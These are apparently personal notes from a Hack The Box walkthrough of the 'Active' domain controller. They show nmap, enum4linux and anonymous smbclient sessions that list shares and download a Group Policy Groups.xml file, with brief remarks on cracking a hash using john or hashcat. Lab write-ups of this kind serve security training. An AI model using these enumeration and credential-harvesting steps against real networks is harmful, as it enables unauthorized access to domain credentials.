I had to use ntpdate becase I was having this error [-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) this corrected it: sudo ntpdate 10.10.10.100
This way we get a hash.
We need to crack it with john or hashcat
For hashcat I needed at least 4 gb of memory on my machine
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -Pn -p- 10.10.10.100
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-05 17:37 EST
Nmap scan report for 10.10.10.100
Host is up (0.026s latency).
Not shown: 65512 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-03-05 22:42:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
[17:40]
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49170/tcp open msrpc Microsoft Windows RPC
49171/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-03-05T22:43:30
|_ start_date: 2022-03-05T22:35:40
| smb2-security-mode:
| 2.1:
|_ Message signing enabled and required
|_clock-skew: 4m04s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.66 seconds
┌──(kali㉿kali)-[~]
└─$ enum4linux -a 10.10.10.100 1 ⨯
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Mar 5 17:55:41 2022
==========================
| Target Information |
==========================
Target ........... 10.10.10.100
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.10.100 |
====================================================
[E] Can't find workgroup/domain
============================================
| Nbtstat Information for 10.10.10.100 |
============================================
Looking up status of 10.10.10.100
No reply from 10.10.10.100
=====================================
| Session Check on 10.10.10.100 |
=====================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server 10.10.10.100 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name:
===========================================
| Getting domain SID for 10.10.10.100 |
===========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED
[+] Can't determine if host is part of domain or part of a workgroup
======================================
| OS information on 10.10.10.100 |
======================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.100 from smbclient:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.
[+] Got OS info for 10.10.10.100 from srvinfo:
10.10.10.100 Wk Sv PDC Tim NT Domain Controller
platform_id : 500
os version : 6.1
server type : 0x80102b
=============================
| Users on 10.10.10.100 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
=========================================
| Share Enumeration on 10.10.10.100 |
=========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.10.10.100
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/ADMIN$ Mapping: DENIED, Listing: N/A
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/C$ Mapping: DENIED, Listing: N/A
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/IPC$ Mapping: OK Listing: DENIED
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/NETLOGON Mapping: DENIED, Listing: N/A
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/Replication Mapping: OK, Listing: OK
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/SYSVOL Mapping: DENIED, Listing: N/A
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/Users Mapping: DENIED, Listing: N/A
====================================================
| Password Policy Information for 10.10.10.100 |
====================================================
[E] Unexpected error from polenum:
[+] Attaching to 10.10.10.100 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:10.10.10.100)
[+] Trying protocol 445/SMB...
[!] Protocol failed: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.
[E] Failed to get password policy with rpcclient
==============================
| Groups on 10.10.10.100 |
==============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting builtin groups:
[+] Getting builtin group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting local groups:
[+] Getting local group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.
[+] Getting domain groups:
[+] Getting domain group memberships:
=======================================================================
| Users on 10.10.10.100 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 742.
=============================================
| Getting printer info for 10.10.10.100 |
=============================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 991.
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Sat Mar 5 17:56:07 2022
┌──(kali㉿kali)-[~]
└─$ smbclient -L \\\\10.10.10.100
Enter WORKGROUP\kali's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
smbclient --no-pass \\\\10.10.10.100\\Replication
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml
